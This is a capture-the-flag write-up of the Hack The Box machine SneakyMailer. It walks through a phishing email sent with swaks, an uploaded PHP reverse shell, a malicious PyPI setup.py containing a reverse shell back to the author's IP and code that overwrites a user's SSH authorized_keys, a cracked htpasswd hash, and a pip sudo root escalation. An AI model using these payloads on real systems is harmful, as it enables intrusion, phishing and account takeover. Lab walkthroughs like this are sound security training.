Hack The Box SneakyMailer Write-Up (Without Metasploit)

rarpunzel
12 min readOct 9, 2021

1. Executive Summary

SneakyMailer, a linux-based machine, is exposed to phishing attacks that lead to the attacker get list of credentials, that can be used to access the mailbox. By gaining access to the mailbox, the attacker is able to discover another useful credential for the FTP service. This credential has permission to upload files into the machine, and with this open-door chance, the attacker is able to get shell and upload malicious PyPI packages that leads to public key modification. Privilege escalation is obtained by leveraging sudo permission.

2. Description

2.1 Enumeration

Let’s start with magic tools called Nmap. I used nmap command with -T4 for fast and aggressive scan, -Afor OS detection, version detection, and script default scanning, -v for verbose, and -oAfor saving the scan result on .XML, .nmap, and .gnmap format.

According to nmap scanning result, there are seven open ports.

Port 21 — FTP

For the initial checking, I tried to examine the service about the possibility of the service enabling the anonymous login feature.

Failed. I skipped port 22 since at the moment I do not have any clue to access ssh so it is impossible to abuse the port.

Port 80 — HTTP

Using firefox, I access port 80 and it automatically redirect to http://mercusuar.uzone.id. For some people who live outside my country, Indonesia, mercusuar website is the kind of website page that shows up when you open malicious website such as porn sites.

To solve this, I decided to add the IP address into the /etc/hosts. According to this website, your browser uses entries in the /etc/hostsfile to override the IP-address-to-URL mapping returned by a DNS server. This is useful for testing DNS (domain name system) changes and the SSL configuration before making a website live.

Note: I got the “sneakycorp.htb” from nmap scan.

Re-input the URL in firefox. The sneaky corp website has side navigation bar on the left with only two menus.

  1. Dashboard

2. Team

The website does not actually tell who I login as. since there are only few menus. However, on the team page, we saw lists of employees from sneaky corp. So using this command below, I scrape or extract the emails from the website. Since mostly username used email addresses.

cewl -e --email_file listemails.txt http://sneakycorp.htb/team.php

Port 25 — Telnet

Using telnet, I check if the emails that we obtain on the website is valid.

Actually there is a tool to automatically check the validity email, it is called smtp-enum-user. However in this case, I do not receive any valid email. And I think it is very impossible if there are not any valid email at all.

Back to port 80. Since we have the possible username, we only need to find the password candidate before we start the execution. So I use gobuster to find any hidden directory.

According to the result, there is a directory /pypi which actually has a page inside of it. However after I registered my self. There are no menu or pop up showing up to give me a chance to login.

Feeling stuck with only lists of email, I get a clue from my friend who already solve the machine. He said that I need to take a look more in the machine card. I was confused since the machine card only show a man who looks like fishing a fish.

It took 15 minutes to realize, the clue was “phising”. So onto the next step, I tried to perform phishing attacks using swaks. It is important to start listener on the port that we used on the command, which is port 80.

swaks — to $(cat listemails.txt | tr ‘\n’ ‘,’ ) — from zoritaserrano@sneakymailer.htb — header “Subject: cat” — body “cute cat pics here http://10.10.16.8/" — server 10.10.10.197

After few minutes, I receive a response from Paul. And on the listener, I able to obtain his password which encode in URL format.

So I used https://www.urldecoder.org/ to decode it into UTF-8 format.

email: paulbyrd@sneakymailer.htb

password : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

Since I finally have one credential. So I decided to login into his mailbox.

Port 143 — IMAP

I tried to login into the mailbox (IMAP) using telnet service. However it does not allow me to. So I tried to google what makes me fail to login and I discover these two very informative website, https://tewarid.github.io/2011/05/10/access-imap-server-from-the-command-line-using-openssl.html and https://www.atmail.com/blog/imap-101-manual-imap-sessions/. According to these websites, the IMAP command has to start with a tag. the tag can be a combination of alphabet and numeric. I tried with “01” as my first tag, however it does not allow me, so it is not the correct one.

I tried to read the nmap result again, trying to find any valuable information. And in the port 143 part, I discovered the tag.

It was start with A0001. For people who are clueless, when we insert IMAP command the numbering in the end of tag is increase, so we could not use the same tag code that we already used before.

Using A0001 login, I successfully made logged in as Paul. Next, I tried to list all the files inside Paul’s Inbox. And one by one I tried to check if there is an email that contain something for us.

Basically for the IMAP, these are the commands that I used.

a. Login as Paul:

A0001 login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

b. List the inbox files:

A000X LIST “” “*”

c. Select inbox files to be able read the email:

A000X SELECT “INBOX.Sent Items”

d. Read the first email on the current selected inbox files:

A000X FETCH 1 BODY.PEEK[]

e. Read the second email on the current selected inbox files:

A000X FETCH 2 BODY.PEEK[]

Based on the screenshot above, I found two mails inside “Inbox.Sent Items”. So looks like, Paul is sending someone emails.

The first email showed that Paul request to the administrator to change the “developer” password. According to this email, I assumed that Paul is a developer. Through this mail, we were able to get a new credential.

Username: developer

Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Second email shows Paul trying to tell “low” to perform something on the PyPi service. According to python official website, The Python Package Index (PyPI) is a repository of software for the Python programming language. I still do not able to fully understand the context of clue from the second email.

Using the credential from the first mail sent by Paul, I tried to log in to the SSH service. However, it is failed.

So I changed my plan, I re-use the developer credential to login FTP services and thankfully succeed.

From there, I discover that there is possibility a virtual host inside 10.10.10.197.

Using gobuster, I checked if the there really is a virtual host deployed inside the machine.

It did! So I decided to modify the /etc/hosts again by adding dev.sneakycorp.htb and tried to access the website.

The website actually gives us 404 error return. Till this phase, we have two credentials, Paul and devoper, and we have access to FTP.

If the FTP services allow file upload then we can upload a web shell into the dev.sneakycorp.htb . I used put command to upload listofemails.txt and it succeed.

So, using php-reverse-shell.php from pentestmonkey, I modified the PHP files with my local IP and custom IP so I can catch it with my listener and get the web shell.

After we finish modifying the reverse shell files, we need to perform multiple task. First we need to start the listener by using command nc -lnvp 2222 and after that I triggered the PHP reverse shell files by accessing it in the browser http://dev.sneakycorp.htb/php-reverse-shell.php

To be reminder that, there is some cleaning system which can delete the reverse shell that we already uploaded before, so we need to catch it into our listener as fast as possible.

Logged in as www-data. I checked if the machine has python installed. The goal was to upgrade the shell into the interactive one, so it will be more comfortable for us to move to other directories to get the clues.

Using command python -c "import pty;pty.spawn('/bin/bash')" , I able to upgrade my shell. Now that we are inside, I tried to find the user flag. However the www-data does not have permission to read the user flag.

Since we have “developer” credential, so I change my user from www-data to developer. However, surprisingly, the mighty “developer” also does not have any permission to read the user.txt.

I checked the /home directory to find out who is the primary user inside the machine. Turns out it was not “developer”.

Inside the /low repository, there is .ssh folder. Which means we probably can modify the value, with our public key or private key so that we can logged in as low.

Remember that we have clue about “PyPi” from the second mails from Paul? I tried to locate the PyPi location on the machine.

According to screenshot above, looks like Sneaky Corp actually have other virtual host beside dev.sneakycorp.htb. I added it into my /etc/hosts.

Back to pypi on /var/www, I checked their repositories and found .htpasswd which contain credential for the server.

pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

Using john the ripper, I tried to crack the hash that we got from PyPi.

New credential!

username: pypi

password: soufianeelhaoui

Using the credential, we able to upload the new python package into this server.

2.2 Exploitation

According to this awesome website,I need to create a folder which will contain my python package. On below are our tree repository.

pypi/
├── setup.py
├── src/
│ └── __init__.py

You can actually add README.md and setup.cfg into the repository as the website mentioned, however the main files are above.

For the setup.py, I put python script for reverse shell as the machine actually had python installed.

import setuptools
import socket,subprocess,os

#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect((“10.10.16.8”,2221))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call([“/bin/sh”,”-i”]);

setuptools.setup(
name=”example-pkg-YOUR-USERNAME-HERE”,
version=”0.0.1",
author=”Example Author”,
author_email=”author@example.com”,
description=”A small example package”,
long_description_content_type=”text/markdown”,
url=”https://github.com/pypa/sampleproject”,
project_urls={
“Bug Tracker”: “https://github.com/pypa/sampleproject/issues",
},
classifiers=[
“Programming Language :: Python :: 3”,
“License :: OSI Approved :: MIT License”,
“Operating System :: OS Independent”,
],
package_dir={“”: “src”},
packages=setuptools.find_packages(where=”src”),
python_requires=”>=3.6",
)

Then next I used touch init__.py as the script is required to import the directory as a package, and should be empty.

According to this incredible website, we need to create .pypirc.to able upload the python package remotely using setup tools. In this files we have to put the credential of the server that we obtain earlier.

[distutils]
index-servers = rarpunzel
[rarpunzel]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

And now after all was set, I usedpython -m HTTPServer 8090 on my local machine so that the we can upload the package repository into the sneaky mailer machine.

Before I upload, I tried to set up the environment so that it wont give any effect to surrounding.

Upload all the files that we create on our local machine, using wget http://10.10.16.8/[filenames] into /tmp/pypi repository. I used README.md and setup.cfg too but its empty so it did not really matter. I put the __init__.py inside /src.

I start my listener on port 2221 and enter command below to upload the package into the server.

python setup.py sdist upload -r rarpunzel

There is new directory under /tmp/pypi named /dist. Meanwhile on our listener, I only caught developer.

I failed to login as low, so I tried another way. which is modifying the ssh key that we found under /low repository with our own public key.

First we need to generate our ssh key using command below.

ssh-keygen

I set the file so that our ssh key will be save under our my defined repository.

Copied all the value of my public key into setup.py. So I tried to modify my setup.py, I delete all the row about python reverse shell, and added new line of code where I replace the contain of low public key to my public key.

Below is my new modified setup.py.

import setuptools
import socket,subprocess,os

try:
with open(“/home/low/.ssh/authorized_keys”, “w+”) as fh:
fh.writelines(‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCepyxokfXtAznUUlP5KQoKmJlj6gOT**********************/NvqdRlOqFinYQHK31Euca3EWX/mhk5FmB7GNhL9/RetC7A57W6UTqUKAgj***********************wrNBWfg/BrWxstcF3MgfBM********dQjnSjE1X3EgJmjKJzf4AoGX5mkZO5MqxQPZLB+xqVqmiDgs=’)
except:

#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect((“10.10.16.8”,2221))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call([“/bin/sh”,”-i”]);

setuptools.setup(
name=”example-pkg-YOUR-USERNAME-HERE”,
version=”0.0.1",
author=”Example Author”,
author_email=”author@example.com”,
description=”A small example package”,
long_description_content_type=”text/markdown”,
url=”https://github.com/pypa/sampleproject”,
project_urls={
“Bug Tracker”: “https://github.com/pypa/sampleproject/issues",
},
classifiers=[
“Programming Language :: Python :: 3”,
“License :: OSI Approved :: MIT License”,
“Operating System :: OS Independent”,
],
package_dir={“”: “src”},
packages=setuptools.find_packages(where=”src”),
python_requires=”>=3.6",
)

Now run the upload command again.

python setup.py sdist upload -r rarpunzel

Login into ssh as low, remember to put the command where the private and public key is under.

Successfully logged in as low. Now we can finally read the user flag.

Check the low user permission using command below.

I tried to google how to escalate my low user into root. And thankfully I found this amazing website, so I put the command from theirs into my terminal.

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip install $TF

And yes! I finally get the root flag :)

3. References

--

--